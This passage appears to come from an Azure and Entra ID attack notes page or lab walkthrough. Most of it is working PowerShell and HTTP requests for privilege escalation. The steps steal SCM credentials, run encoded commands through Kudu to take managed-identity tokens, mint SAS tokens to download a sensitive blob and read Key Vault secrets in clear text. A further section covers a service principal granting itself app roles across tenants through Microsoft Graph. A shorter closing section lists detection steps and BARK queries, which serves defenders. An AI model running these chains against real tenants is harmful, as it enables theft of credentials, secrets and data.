    "Authorization" = "Bearer $accessToken"
    "ContentType" = "application/x-www-form-urlencoded"
}

$response = Invoke-WebRequest -Method $method -Uri $URI -Headers $headers

$userSCM = ($response.Content).split('"')[9]
$passwordSCM = ($response.Content).split('"')[11]

# Retrieve new password
Write-Host "[+] UserName : $($userSCM)"
Write-Host "[+] Password : $($passwordSCM)"
PrivEsc 3 - User Assigned Managed Identity
$ident = "john5"
$appName = "xmgoatz-windows-function-app"

$id5ClientID = (Get-AzUserAssignedIdentity -Name $ident -ResourceGroupName $rg).ClientId

# Encode SCM credentials for Basic Auth
$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM, $passwordSCM)))

# PowerShell command to get token from Kudu
$GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="' + $id5ClientID + '";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://management.azure.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'
$Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))

# Send the command to Kudu
$method = "POST"
$URI = "https://$appName.scm.azurewebsites.net/api/command"
$headers = @{
    "Host" = "$appName.scm.azurewebsites.net"
    "Authorization" = "Basic $($base64AuthInfo)"
    "ContentType" = "application/json"
}
$body = @{
    "command" = "powershell -EncodedCommand $($Encoded64)"
    "dir" = "C:\\home"
} | ConvertTo-Json

$response = Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType "application/json" -UserAgent "Mozilla/5.0" -Body $body

# Extract the token from the response
$id5Token = (($response.Content).Split('"')[8]).split("\")
PrivEsc 3 - List Storage Accounts
$subId = "$subId"

$method = "GET"
$URI = "https://management.azure.com:443/subscriptions/$subId/providers/Microsoft.Storage/storageAccounts?api-version=2022-09-01"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "management.azure.com")
$headers.Add("Referer", "https://learn.microsoft.com/")
$headers.Add("Authorization", "Bearer $($id5Token)")
$headers.Add("Origin", "https://learn.microsoft.com")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)

#Look For $StorageAccount
$response.RawContent

$StorageAccount = "$StorageAccount500"
PrivEsc 3 - Create SAS to Get Blob Access
$method = "POST"
$URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Storage/storageAccounts/$StorageAccount/ListAccountSas?api-version=2022-09-01"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "management.azure.com")
$headers.Add("Referer", "https://learn.microsoft.com/")
$contentType = "application/json"
$headers.Add("Authorization", "Bearer $($id5Token)")
$headers.Add("Origin", "https://learn.microsoft.com")
$body = "{
signedExpiry: `"2024-07-10T14:34:31.9776110Z`",
signedPermission: `"wrdlacup`",
signedResourceTypes: `"cso`",
signedServices: `"bqtf`"

}"
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body, $URIParams)
$SAStoken = $response.content.split(':')[1].split('"')[1]
PrivEsc 3 - List Containers, Blobs and Download Interesting file
# List Container
$method = "GET"
$URI = "https://$StorageAccount.blob.core.windows.net:443/?comp=list&$($SAStoken)"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$StorageAccount.blob.core.windows.net")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)
$data = $response.Content

# Container Name
$Container = [Regex]::Match( $data, '(?s)<Name>(\w*-\w*)</Name>' ).Groups.Value[1]

# List Blob
$method = "GET"
$URI = "https://$StorageAccount.blob.core.windows.net:443/$($Container)?restype=container&comp=list&$($SAStoken)"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$StorageAccount.blob.core.windows.net")

$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)
$blobName = [Regex]::Match( $response.Content,'(?s)<Name>(\w.*)</Name>').Groups.Value[1]

# DownloadBlob
$method = "GET"
$URI = "https://$StorageAccount.blob.core.windows.net:443/$($Container)/$($blobName)?$($SAStoken)"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$StorageAccount.blob.core.windows.net")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers)

Set-Content "SensitiveData.zip" -Value $response.Content -Encoding Byte
PrivEsc 3 - Get Token for Vault and Download Secret to Unzip file
#Get Token for $vaultName.vault.azure.net
$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM,$passwordSCM)))
$GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="0de890fb-8bd4-42f3-9de7-5b236df07468";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://vault.azure.net&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'
$Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))
$method = "POST"
$URI = "https://$appName.scm.azurewebsites.net:443/api/command"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$appName.scm.azurewebsites.net")
$userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
$headers.Add("Authorization", "Basic $($base64AuthInfo)")
$contentType = "application/json"
$body = "{
`"command`":`"powershell -EncodedCommand $($Encoded64)`",
`"dir`":`"C:\\home`"
}
"
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body)
$id5VaultAzureNetToken = (($response.Content).Split('"')[6]).split("\")


# GetSecrets
$vaultName = "vault101"
$method = "GET"
$URI = "https://$vaultName.vault.azure.net:443/secrets?api-version=7.3"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$vaultName.vault.azure.net")
$headers.Add("Accept", "text/html,application/xhtml+xml")
$headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
$uriWsecre = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0]


# GetSecretsVersion
$method = "GET"
$URI = "$($uriWsecre)/versions?api-version=7.3"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$vaultName.vault.azure.net")
$headers.Add("Accept", "text/html,application/xhtml+xml")
$headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)
$response.Content
$uriWsecreVersion = ([Regex]::Match( $response.Content,'(?s)https(://.*)').Groups.Value).split('"')[0]

# GetSecretsClearText
$method = "GET"
$URI = "$($uriWsecreVersion)?api-version=7.3"
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
$headers.Add("Host", "$vaultName.vault.azure.net")
$headers.Add("Accept", "text/html,application/xhtml+xml")
$headers.Add("Authorization", "Bearer $($id5VaultAzureNetToken)")
$response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -UserAgent $userAgent -Body $URIParams)

#Get the Clear-Text Password for the ZIP file
$clearTextSecrets = ([Regex]::Match( $response.Content,'(?s)"value":(.*)').Groups.Value[0]).split(",")[0].split(":")[1].split('"')[1]

Write-host " [+] OPEN THE ZIP FILE WITH THE Following PASSWORD: $($clearTextSecrets)"

Two Tenant Microsoft OAuth Hack

A “legacy test app” in one tenant, production tenant in the other. A legacy app in test tenant with a service principal registered in production tentnat, a new user for consent. A service principal in one tenant with the AppRoleAssignment.ReadWrite.All app role can grant itself any app role and bypass the consent process. AppRoleAssignment.ReadWrite.All Can grant itself Directory.ReadWrite.All, not the other way around, though. If we have created a malicious app registration, we can use the newly created user to consent to the new application. If the app does not request admin rights, standard user can consent to the app and a service principal in your target tenant will be associated with the registration. This allows us to add credentials to the app registration in the test tenant but use the associated service principals created in the prod tenant to authenticate in the prod tenant. Attacker granted the “legacy test app” the EWS app role ‘full_access_as_app’. This requires a POST request to the ‘appRoleAssignedTo MS Graph API endpoint’.

Service Principal Granting Service Principals Admin Permissions

Service Principals cannot access this in the AAD Graph API, just MS Graph

Roles: Global Admin, Partner Tier2 Support, Privileged Role Admin

AppRoles: AppRoleAssignment.ReadWrite.All

ElevationRoles: RoleManagement.ReadWrite.All (SP with this role can assign itself the other roles)

POST https://graph.microsoft.com/v1.0/servicePrincipals/9028d19c-26a9-4809-8e3f-20ff73e2d75e/appRoleAssignedTo
Content-Type: application/json

{
  "principalId": "33ad69f9-da99-4bed-acd0-3f24235cb296",
  "resourceId": "9028d19c-26a9-4809-8e3f-20ff73e2d75e",
  "appRoleId": "ef7437e6-4f94-4a0a-a110-a439eb2aa8f7"
}
Import-Module Microsoft.Graph.Applications

$params = @{
	principalId = "33ad69f9-da99-4bed-acd0-3f24235cb296"
	resourceId = "9028d19c-26a9-4809-8e3f-20ff73e2d75e"
	appRoleId = "ef7437e6-4f94-4a0a-a110-a439eb2aa8f7"
}

New-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $servicePrincipalId -BodyParameter $params

Detect and Control

$Graph = "00000003–0000–0000-c000–000000000000"

# Query Service Principals that have MS Graph roles

# Query the specific role granted (have to use devtools in the portal)
# Find and click on the “GET” request that was made to “AppRoleAssignments”
AppRoleAssignments?searchText=

# Copy response payload into text editor, search for the dangerous GUIDs

# Query that service principal by name, find the tenant ID
#  The Azure GUI will not show you the tenant ID of the service principal; open your browser developer tools again and click on “Roles and administrators”, then find and click on the GET request to “getByIds”, and click on “Response” 
appOwnerOrganizationId

$TrueOwner = "<VALUE OF APPOWNER ORGID>"

# Compare the apps tenant ID with this value, see if this is an external application with those high privileges
  • Id service principals with dangerous MSGraph roles
  • Get the RoleAssignment API response
  • Determine if priv role assigned
  • Check the principals AppOwnerOrgId against your tenant ID
  • Evaluate if the app permissions make sense or if the application is malicious.

Bark

Can use BARK to query for these using a service principal with Directory.Read.All

# Get Token
$MSGraphToken = (Get-MSGraphTokenWithClientCredentials `
    -ClientID "$appId" `
    -ClientSecret "$secret" `
    -TenantName 'FabrikamProdTenant.onmicrosoft.com').access_token

# Get-TierZeroServicePrincipals function to retrieve all service principals that have the highest privilege Entra ID roles and MS Graph app roles:
Get-TierZeroServicePrincipals -Token $MSGraphToken

# To ID the foreign ones, show only SP ID, displayname and TenantID
Get-TierZeroServicePrincipals -Token $MSGraphToken | Select ServicePrincipalID | Sort-Object -Unique -Property ServicePrincipalID | %{
    Get-AzureADServicePrincipal `
        -Token $MSGraphToken `
        -ObjectID $_.ServicePrincipalID | Select id,appDisplayName,appOwnerOrganizationId
}